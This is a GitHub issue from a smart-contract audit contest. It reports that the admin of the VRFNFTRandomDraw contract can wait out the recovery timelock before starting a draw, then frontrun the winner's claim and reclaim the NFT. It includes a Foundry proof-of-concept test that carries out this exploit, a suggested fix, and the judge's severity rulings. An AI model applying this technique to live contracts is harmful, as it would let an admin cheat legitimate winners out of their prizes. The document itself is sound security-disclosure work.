Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Draw admin somewhat has control over whether he wants a certain person to be a winner. #65

Closed
code423n4 opened this issue Dec 14, 2022 · 3 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-146 edited-by-warden satisfactory satisfies C4 submission criteria; eligible for awards upgraded by judge Original issue severity upgraded from QA/Gas by judge

Comments

@code423n4
Copy link
Contributor

code423n4 commented Dec 14, 2022

Lines of code

https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L304-L320
https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L173-L198

Vulnerability details

Impact

An admin of a random draw is able to wait out the timer required to call lastResortTimelockOwnerClaimNFT before starting the draw. This allows an admin to frontrun a winnerClaimNFT transaction if the addr of the winner is not someone the admin would like to see win.

Proof of Concept

Consider the following foundry test:

function test_owner_is_not_happy_with_winner() public {
        address winner = address(0x1337);
        vm.label(winner, "winner");

        vm.startPrank(winner);
        for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) {
            drawingNFT.mint();
        }
        vm.stopPrank();

        vm.startPrank(admin);
        targetNFT.mint();

        address consumerAddress = factory.makeNewDraw(
            IVRFNFTRandomDraw.Settings({
                token: address(targetNFT),
                tokenId: 0,
                drawingToken: address(drawingNFT),
                drawingTokenStartId: 0,
                drawingTokenEndId: 10,
                drawBufferTime: 1 hours,
                recoverTimelock: 1 weeks + 1 seconds,
                keyHash: bytes32(
                    0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15
                ),
                subscriptionId: subscriptionId
            })
        );
        vm.label(consumerAddress, "drawing instance");

        mockCoordinator.addConsumer(subscriptionId, consumerAddress);
        mockCoordinator.fundSubscription(subscriptionId, 100 ether);

        VRFNFTRandomDraw drawing = VRFNFTRandomDraw(consumerAddress);

        targetNFT.setApprovalForAll(consumerAddress, true);

        // Wait 2 weeks before drawing -- so the recovery timelock expires
        vm.warp(2 weeks);

        // Draw
        uint256 drawingId = drawing.startDraw();

        mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);

        // Claim back nft (virtually frontrunning the winner claim tx)
        drawing.lastResortTimelockOwnerClaimNFT();

        vm.stopPrank();
    }

Tools Used

Manual review

Recommended Mitigation Steps

Make sure that the settings.recoverTimelock timstamp is set at drawing instead of initialisation.

@code423n4 code423n4 added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Dec 14, 2022
code423n4 added a commit that referenced this issue Dec 14, 2022
@c4-judge
Copy link
Contributor

gzeon-c4 marked the issue as duplicate of #146

@c4-judge
Copy link
Contributor

gzeon-c4 marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Dec 17, 2022
@c4-judge c4-judge added 3 (High Risk) Assets can be stolen/lost/compromised directly upgraded by judge Original issue severity upgraded from QA/Gas by judge and removed 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value labels Jan 23, 2023
@c4-judge
Copy link
Contributor

gzeon-c4 changed the severity to 3 (High Risk)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-146 edited-by-warden satisfactory satisfies C4 submission criteria; eligible for awards upgraded by judge Original issue severity upgraded from QA/Gas by judge
Projects
None yet
Development

No branches or pull requests

2 participants